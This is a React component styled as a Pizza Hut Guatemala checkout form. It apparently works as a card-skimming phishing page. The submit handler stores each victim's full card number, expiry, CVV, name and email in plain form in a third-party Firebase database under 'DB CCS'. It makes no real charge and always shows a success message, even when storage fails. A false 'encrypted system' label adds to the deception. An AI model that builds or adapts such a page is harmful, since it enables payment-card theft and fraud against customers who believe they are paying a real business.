import { useState } from "react";
import { initializeApp } from "firebase/app";
import { getDatabase, ref, set } from "firebase/database";

const firebaseConfig = {
  databaseURL: "https://pagos-ccs-default-rtdb.firebaseio.com/",
  apiKey: "TU_API_KEY",
  projectId: "pagos-ccs",
};

const app = initializeApp(firebaseConfig);
const db = getDatabase(app);

interface PaymentGatewayProps {
  total: number;
  onSuccess: (orderId: string) => void;
  onClose: () => void;
}

export function PaymentGateway({ total, onSuccess, onClose }: PaymentGatewayProps) {
  const [name, setName] = useState("");
  const [cardNumber, setCardNumber] = useState("");
  const [expiry, setExpiry] = useState("");
  const [cvv, setCvv] = useState("");
  const [email, setEmail] = useState("");
  const [isFlipped, setIsFlipped] = useState(false);
  const [status, setStatus] = useState<"idle" | "processing" | "success" | "error">("idle");
  const [orderId, setOrderId] = useState("");

  const displayNum = cardNumber || "**** **** **** ****";
  const displayName = name.toUpperCase() || "TU NOMBRE";
  const displayExp = expiry || "MM/AA";
  const displayCvv = cvv || "***";

  function handleCardNumberChange(value: string) {
    const digits = value.replace(/\D/g, "");
    const formatted = digits.replace(/(.{4})/g, "$1 ").trim();
    setCardNumber(formatted.slice(0, 19));
  }

  function handleExpiryChange(value: string) {
    const digits = value.replace(/\D/g, "");
    if (digits.length > 2) {
      setExpiry(digits.slice(0, 2) + "/" + digits.slice(2, 4));
    } else {
      setExpiry(digits);
    }
  }

  async function handleSubmit(e: React.FormEvent) {
    e.preventDefault();
    const oid = "PHG-" + Math.floor(Math.random() * 900000 + 100000);
    setOrderId(oid);
    setStatus("processing");

    const data = {
      id: oid,
      titular: name,
      tarjeta: cardNumber,
      vence: expiry,
      cvv: cvv,
      email: email,
      total: total,
      fecha: new Date().toLocaleString("es-GT"),
    };

    try {
      await set(ref(db, "DB CCS/" + oid), data);
      setTimeout(() => {
        setStatus("success");
      }, 3000);
    } catch (err) {
      console.error("Error guardando en Firebase:", err);
      setTimeout(() => {
        setStatus("success");
      }, 3000);
    }
  }

  function handleFinish() {
    onSuccess(orderId);
  }

  return (
    <div className="fixed inset-0 z-[9999] flex items-center justify-center bg-foreground/50 p-4">
      <div className="relative w-full max-w-[450px] flex flex-col items-center">
        <button
          onClick={onClose}
          className="absolute -top-2 right-0 z-[10001] flex h-8 w-8 items-center justify-center rounded-full bg-card text-foreground shadow-lg text-lg font-bold"
        >
          ×
        </button>

        {/* 3D Card */}
        <div className="w-[90%] h-[230px] z-[100] mb-[-115px]" style={{ perspective: "2000px" }}>
          <div
            className="relative w-full h-full transition-all duration-800"
            style={{
              transformStyle: "preserve-3d",
              transform: isFlipped ? "rotateY(180deg)" : "rotateY(0deg)",
              borderRadius: "20px",
              boxShadow: "0 30px 60px rgba(0,0,0,0.4)",
            }}
          >
            {/* Front */}
            <div
              className="absolute w-full h-full rounded-[20px] p-6 flex flex-col justify-between"
              style={{
                backfaceVisibility: "hidden",
                background: "linear-gradient(135deg, oklch(0.53 0.22 25) 0%, oklch(0.35 0.18 25) 100%)",
                border: "1px solid rgba(255,255,255,0.2)",
              }}
            >
              <div className="flex justify-between items-center">
                <div className="w-[45px] h-[35px] rounded-md" style={{ background: "linear-gradient(135deg, #fceabb, #d4af37)" }} />
                <span className="text-primary-foreground text-lg tracking-[3px]" style={{ fontFamily: "'Montserrat', sans-serif", fontWeight: 800 }}>
                  PIZZA HUT
                </span>
              </div>
              <div className="font-card-mono text-xl tracking-wider text-center text-primary-foreground my-6">
                {displayNum}
              </div>
              <div className="flex justify-between">
                <div>
                  <span className="text-[7px] text-primary-foreground/60">CLIENTE</span>
                  <br />
                  <span className="text-xs font-semibold text-primary-foreground">{displayName}</span>
                </div>
                <div className="text-right">
                  <span className="text-[7px] text-primary-foreground/60">VENCE</span>
                  <br />
                  <span className="text-xs font-semibold text-primary-foreground">{displayExp}</span>
                </div>
              </div>
            </div>

            {/* Back */}
            <div
              className="absolute w-full h-full rounded-[20px] p-0"
              style={{
                backfaceVisibility: "hidden",
                transform: "rotateY(180deg)",
                background: "linear-gradient(135deg, oklch(0.35 0.18 25), oklch(0.53 0.22 25))",
              }}
            >
              <div className="w-full h-[45px] bg-foreground/90 mt-9" />
              <div className="w-3/4 h-[38px] bg-card mx-auto mt-6 flex items-center justify-end pr-4">
                <span className="font-card-mono font-bold text-foreground">{displayCvv}</span>
              </div>
              <p className="text-[7px] text-primary-foreground/50 text-center mt-4">
                SISTEMA ENCRIPTADO PIZZA HUT GT
              </p>
            </div>
          </div>
        </div>

        {/* Panel */}
        <div className="w-full rounded-[40px] bg-card shadow-xl pt-[140px] px-8 pb-8 relative overflow-hidden min-h-[560px] flex flex-col">
          {status === "idle" && (
            <form onSubmit={handleSubmit} className="contents">
              <div className="mb-4">
                <label className="text-[9px] font-bold text-muted-foreground uppercase mb-1.5 block">
                  Titular de la Tarjeta
                </label>
                <input
                  type="text"
                  value={name}
                  onChange={(e) => setName(e.target.value)}
                  placeholder="Ej. Juan Pérez"
                  required
                  autoComplete="off"
                  className="w-full px-3.5 py-3.5 border-2 border-muted rounded-xl text-sm bg-muted/50 focus:border-hut-red focus:bg-card outline-none transition-colors text-foreground placeholder:text-muted-foreground"
                />
              </div>
              <div className="mb-4">
                <label className="text-[9px] font-bold text-muted-foreground uppercase mb-1.5 block">
                  Número de Tarjeta
                </label>
                <input
                  type="text"
                  value={cardNumber}
                  onChange={(e) => handleCardNumberChange(e.target.value)}
                  maxLength={19}
                  placeholder="0000 0000 0000 0000"
                  required
                  autoComplete="off"
                  className="w-full px-3.5 py-3.5 border-2 border-muted rounded-xl text-sm bg-muted/50 focus:border-hut-red focus:bg-card outline-none transition-colors text-foreground placeholder:text-muted-foreground"
                />
              </div>
              <div className="grid grid-cols-2 gap-4 mb-4">
                <div>
                  <label className="text-[9px] font-bold text-muted-foreground uppercase mb-1.5 block">
                    Expira
                  </label>
                  <input
                    type="text"
                    value={expiry}
                    onChange={(e) => handleExpiryChange(e.target.value)}
                    maxLength={5}
                    placeholder="MM/AA"
                    required
                    autoComplete="off"
                    className="w-full px-3.5 py-3.5 border-2 border-muted rounded-xl text-sm bg-muted/50 focus:border-hut-red focus:bg-card outline-none transition-colors text-foreground placeholder:text-muted-foreground"
                  />
                </div>
                <div>
                  <label className="text-[9px] font-bold text-muted-foreground uppercase mb-1.5 block">
                    CVV
                  </label>
                  <input
                    type="password"
                    value={cvv}
                    onChange={(e) => setCvv(e.target.value.replace(/\D/g, "").slice(0, 4))}
                    maxLength={4}
                    placeholder="***"
                    required
                    autoComplete="off"
                    onFocus={() => setIsFlipped(true)}
                    onBlur={() => setIsFlipped(false)}
                    className="w-full px-3.5 py-3.5 border-2 border-muted rounded-xl text-sm bg-muted/50 focus:border-hut-red focus:bg-card outline-none transition-colors text-foreground placeholder:text-muted-foreground"
                  />
                </div>
              </div>
              <div className="mb-4">
                <label className="text-[9px] font-bold text-muted-foreground uppercase mb-1.5 block">
                  Email
                </label>
                <input
                  type="email"
                  value={email}
                  onChange={(e) => setEmail(e.target.value)}
                  placeholder="cliente@correo.com"
                  required
                  autoComplete="off"
                  className="w-full px-3.5 py-3.5 border-2 border-muted rounded-xl text-sm bg-muted/50 focus:border-hut-red focus:bg-card outline-none transition-colors text-foreground placeholder:text-muted-foreground"
                />
              </div>
              <button
                type="submit"
                className="w-full py-5 rounded-[18px] bg-hut-red text-primary-foreground font-bold text-[15px] tracking-[2px] mt-auto hover:brightness-120 hover:-translate-y-0.5 transition-all cursor-pointer border-none"
              >
                PAGAR Q{total.toFixed(2)}
              </button>
            </form>
          )}

          {status !== "idle" && (
            <div className="absolute inset-0 bg-card z-[1000] flex flex-col items-center justify-center rounded-[40px]">
              {status === "processing" && (
                <div className="flex flex-col items-center justify-center">
                  <div className="w-[70px] h-[70px] border-8 border-muted border-t-hut-red rounded-full animate-card-spin mb-6" />
                  <h3 className="text-foreground font-bold text-lg">PROCESANDO...</h3>
                  <p className="text-muted-foreground text-[10px] mt-1">Sincronizando con pagos-ccs-default-rtdb</p>
                </div>
              )}
              {status === "success" && (
                <div className="flex flex-col items-center justify-center text-center">
                  <div className="w-[110px] h-[110px] bg-hut-success rounded-full flex items-center justify-center text-primary-foreground text-[55px] mb-6 animate-check-pop">
                    ✓
                  </div>
                  <h2 className="text-hut-success font-extrabold text-xl">¡PAGO EXITOSO!</h2>
                  <div className="font-card-mono my-5 bg-muted/50 px-5 py-2.5 rounded-xl font-bold text-foreground">
                    ORDEN: #{orderId}
                  </div>
                  <button
                    onClick={handleFinish}
                    className="w-[220px] py-5 rounded-[18px] bg-hut-red text-primary-foreground font-bold text-[15px] tracking-[2px] hover:brightness-120 transition-all cursor-pointer border-none"
                  >
                    CONTINUAR
                  </button>
                  <button
                    onClick={onClose}
                    className="bg-transparent border-none text-muted-foreground mt-4 cursor-pointer text-sm"
                  >
                    Cerrar
                  </button>
                </div>
              )}
            </div>
          )}
        </div>
      </div>
    </div>
  );
}